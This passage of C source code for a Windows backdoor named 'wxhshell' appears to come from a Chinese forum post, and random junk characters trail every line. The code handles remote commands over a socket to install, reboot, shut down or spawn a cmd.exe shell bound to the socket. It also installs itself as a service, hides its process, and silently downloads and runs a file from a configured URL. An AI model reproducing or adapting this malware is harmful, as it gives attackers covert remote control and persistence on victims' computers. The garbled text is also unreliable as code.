  } 3X,{9+(F  
  else { D=sc41]  
N~J Eia%  
    switch(cmd[0]) { 6:tr8 X_  
  v ]U;5Uo  
  // 帮助 +vSE}  
  case '?': { Hf{%N'4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^|{fB,B  
    break; DMN H?6  
  } (#iM0{  
  // 安装 VX[!Vh  
  case 'i': { Rs[]i;  
    if(Install()) LhRe?U\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *+Q*&-$  
    else l{o{=]x1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %ys}Q!gR  
    break; @5G7bY7Nz  
    } ld?.o/  
  // 卸载 -fgKSJ7  
  case 'r': { }z-  
    if(Uninstall()) &*GX:0=/>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5w{pX1z1  
    else  A;x^6>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oz-I/g3go  
    break; s;WCz  
    } ucPMT0k  
  // 显示 wxhshell 所在路径 &it/@8yH  
  case 'p': { (+ anTA=  
    char svExeFile[MAX_PATH]; l*H"]6cXRL  
    strcpy(svExeFile,"\n\r"); n1(X%%2  
      strcat(svExeFile,ExeFile); &)jZ|Q~  
        send(wsh,svExeFile,strlen(svExeFile),0); .{Oq)^!ot  
    break; 4H)" d  
    } r['C.S6  
  // 重启 6|cl`}g_j  
  case 'b': { t3g! 5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \%Q rN+WQ  
    if(Boot(REBOOT)) lB~'7r`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $i>VI  
    else { M?zAkHNS$  
    closesocket(wsh); P$Ru NF  
    ExitThread(0);  Bt3=/<.\  
    } |raQ]b@t&  
    break; beZ| i 1:  
    } n`Iy7X  
  // 关机 >v,j;[(  
  case 'd': { oz@6%3+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P[8N58#  
    if(Boot(SHUTDOWN)) nn%xN\~<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D~&e.y/gHN  
    else { &~f_1<  
    closesocket(wsh); bR,Iq}p  
    ExitThread(0); JhIK$Ti  
    } p;=(-4\V}  
    break; (k&aD2PH  
    } 0*@S-Lj^c  
  // 获取shell D+""o"%  
  case 's': { :K:gyVrC  
    CmdShell(wsh);  )6+W6:  
    closesocket(wsh); *G41%uz  
    ExitThread(0); ,`@|C Z-4A  
    break; mP[u[|]  
  } 26K~m@  
  // 退出 :q1r2&ne  
  case 'x': { MV \zwH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $u"$mg7x  
    CloseIt(wsh); ??V["o T  
    break; q Db}b d5  
    } c%.& F  
  // 离开 nB0 ol-<  
  case 'q': { 'Sh5W%NM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); We?:DM [  
    closesocket(wsh); 1tpD|  
    WSACleanup(); [Cp{i<C  
    exit(1); y8z%s/gRh  
    break; &}1)]6q$  
        } ,$-PC=Ti(  
  } L9oZ7o  
  } G)7sXEe  
q /?_djv  
  // 提示信息 Q2?qvNZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q~_x%KN/`  
} }L9j`17  
  } `Cxe`w4  
o w[qpP[  
  return; glgk>83I+  
} sc60:IxgI  
#mYxO  
// shell模块句柄 =YIQ _,{u  
int CmdShell(SOCKET sock) Hp!F?J7sx  
{ P7-3Vf_L  
STARTUPINFO si; IhLfuyFWu  
ZeroMemory(&si,sizeof(si)); 0aWb s$FyU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q,`kfxA`O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2_X0Og8s[  
PROCESS_INFORMATION ProcessInfo; sf0U(XYQ^  
char cmdline[]="cmd"; W$S.?[X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |3m%d2V*hF  
  return 0; uL F55:`<  
} oVW?d]R  
mM.&c5U  
// 自身启动模式 9G~P)Z!0  
int StartFromService(void) [dMxr9M  
{ :^a$ve3(Jq  
typedef struct ,-)1)R\.  
{ mGvP9E"&  
  DWORD ExitStatus; vNGvEJ`qn  
  DWORD PebBaseAddress; ( Iew%U  
  DWORD AffinityMask; JB<4 m4-  
  DWORD BasePriority; Ji q[VeLe  
  ULONG UniqueProcessId; <!^Z|E  
  ULONG InheritedFromUniqueProcessId; ^ZG1  
}   PROCESS_BASIC_INFORMATION; NY x4& *le  
t/|^Nt@XT  
PROCNTQSIP NtQueryInformationProcess; Di*>PE@  
6-"&jbvm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :xCobMs_/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ny=iAZM>q  
F1>,^qyG6  
  HANDLE             hProcess; 9lv 2  
  PROCESS_BASIC_INFORMATION pbi; kx[8#+P  
E<dN=#f6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &&O=v]6,V  
  if(NULL == hInst ) return 0; 2uVm?nm  
4a-wGx#h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .Ko`DH~!,C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "Q1hP9xV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s3J$+1M >  
vaL-Mi(_  
  if (!NtQueryInformationProcess) return 0; z@~rm9d  
14RL++  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pjFgIG2=9  
  if(!hProcess) return 0; B|v fkX2f  
n :P}K?lg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?3#X5WT  
srL,9)O C  
  CloseHandle(hProcess); YSbN=Rj  
yFG&Ir  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ? t-2oLE  
if(hProcess==NULL) return 0; bX,Z<BvbF  
EX_& wep@1  
HMODULE hMod; Rs wR DLl  
char procName[255]; <vs.Ucxx  
unsigned long cbNeeded; F <(Y  
dkjL;1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jp- hFD  
lxZXz JkqZ  
  CloseHandle(hProcess); 6k2~j j1d  
Y2Bu,/9^  
if(strstr(procName,"services")) return 1; // 以服务启动 A@UnrbX:  
bPNsy@"6  
  return 0; // 注册表启动 a'BBp6  
} 1Q<a+ l  
Yh=Zn[ U  
// 主模块 \T0`GpE  
int StartWxhshell(LPSTR lpCmdLine) X`&E,;bIb  
{ D$ \ EZ   
  SOCKET wsl; $3>|R lxYA  
BOOL val=TRUE; Go4l#6  
  int port=0; 5zU$_M  
  struct sockaddr_in door; 9V~yK?  
-UO$$)Q  
  if(wscfg.ws_autoins) Install(); o&=m]hKpQl  
6o!"$IH4  
port=atoi(lpCmdLine); ^IpS 3y  
mYCGGwD  
if(port<=0) port=wscfg.ws_port; \ C Yu;  
4"{q|~&=:$  
  WSADATA data; JmkJ^-A 6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d=[ .   
@ o]F~x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c c:xT0Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~1p f ?  
  door.sin_family = AF_INET; 3XIxuQwf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [*fnTy  
  door.sin_port = htons(port); t1kD5^  
||qW'kNWM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?G@%haqn6  
closesocket(wsl); ;Bm{_$hf=  
return 1; IcB>Hg5  
} \a<E3 <  
?pFHpz   
  if(listen(wsl,2) == INVALID_SOCKET) { k:f Rk<C  
closesocket(wsl); ]BA8[2=m  
return 1; '2NeuK-KD  
} --FvE|I  
  Wxhshell(wsl); yDPek*#^"q  
  WSACleanup(); /)~M cP3  
bz1\EkLL  
return 0; bkb}M)C  
{+!_; zzZ  
} 2l9_$evK~  
kns[b [!H  
// 以NT服务方式启动 _QQO&0Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c8(.bmvF  
{ %BL+'&q  
DWORD   status = 0; 4WLB,<b}  
  DWORD   specificError = 0xfffffff; GFvOrRlP\  
BP`UB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yY}`G-)g~*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1UOFTI2S|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Gb"PMai  
  serviceStatus.dwWin32ExitCode     = 0; kY|<1Ht  
  serviceStatus.dwServiceSpecificExitCode = 0; {2!.3<#  
  serviceStatus.dwCheckPoint       = 0; 17-K~ybc  
  serviceStatus.dwWaitHint       = 0; mV-MJ$3r  
Ba"Z^(:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t ,0~5>5  
  if (hServiceStatusHandle==0) return; g%K3ah v  
JWLQ9U X  
status = GetLastError(); ;(z0r_p<q  
  if (status!=NO_ERROR) uJi|@{V  
{ fNQecDuS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zDX-}t_'q  
    serviceStatus.dwCheckPoint       = 0; m$]?Jq  
    serviceStatus.dwWaitHint       = 0; ZW2U9  
    serviceStatus.dwWin32ExitCode     = status; ur;8uv2o  
    serviceStatus.dwServiceSpecificExitCode = specificError; &Oe,$%{hBh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1&U U6|X  
    return; AtSEKpKc  
  } ^s^X nQhE  
nfc&.(6x<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Jg@PhN<9  
  serviceStatus.dwCheckPoint       = 0; ALhu\x>AY  
  serviceStatus.dwWaitHint       = 0; (i {  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xR$xAcoSB  
} ZZ.GpB.  
%0L 9)-R  
// 处理NT服务事件,比如:启动、停止  $///N+B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UtzW5{  
{ nM@S`"  
switch(fdwControl) w9vqFtj  
{ [-Dx)N  
case SERVICE_CONTROL_STOP: &P rx=L`  
  serviceStatus.dwWin32ExitCode = 0; Nx~8]h1(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YqYCW}$  
  serviceStatus.dwCheckPoint   = 0; r.[9/'>  
  serviceStatus.dwWaitHint     = 0; fF ;-d2mF  
  { Ok9XC <Xu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %{axoGd  
  } WUKYwA/t  
  return; ri6_u;Ch  
case SERVICE_CONTROL_PAUSE: TeQpmhN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; geua8;  
  break; QD<f) JZK  
case SERVICE_CONTROL_CONTINUE: :hZYh.y\l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; op;OPf,  
  break; >-f`mT  
case SERVICE_CONTROL_INTERROGATE: k\A8Z[  
  break; S_WYU&8  
}; Mc9%s$MT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c{z QX0  
} JW (.,Ztm  
>osY?9  
// 标准应用程序主函数 +[ !K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LyH{{+V  
{ \It8+^d@  
F8f@^LVM/  
// 获取操作系统版本 @a+1Ri`)  
OsIsNt=GetOsVer(); +g%kr~w=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Pr9$( 6MX  
Iell`;  
  // 从命令行安装 K%O%#Kk  
  if(strpbrk(lpCmdLine,"iI")) Install(); A?=g!(wB  
Ng2qu!F7  
  // 下载执行文件 kU0e;r1N  
if(wscfg.ws_downexe) { nKT\/}d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l@%MS\{  
  WinExec(wscfg.ws_filenam,SW_HIDE); YRqIC -_  
} }O-|b#Q  
`J#(ffo-  
if(!OsIsNt) { DR;rK[f  
// 如果时win9x,隐藏进程并且设置为注册表启动 NZ7g}+GTG  
HideProc(); m\RU |Z  
StartWxhshell(lpCmdLine); s7[du_)  
} GG-7YJ  
else  [td)v,  
  if(StartFromService()) QOB>Tv E  
  // 以服务方式启动 h@&& .S`B  
  StartServiceCtrlDispatcher(DispatchTable); h${+{1](6  
else f.4r'^  
  // 普通方式启动 2Gd.B/L6  
  StartWxhshell(lpCmdLine); L TzD\C'  
vWc=^tT   
return 0; )l~:P uvh  
}
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只看该作者 1 发表于: 2006-10-10
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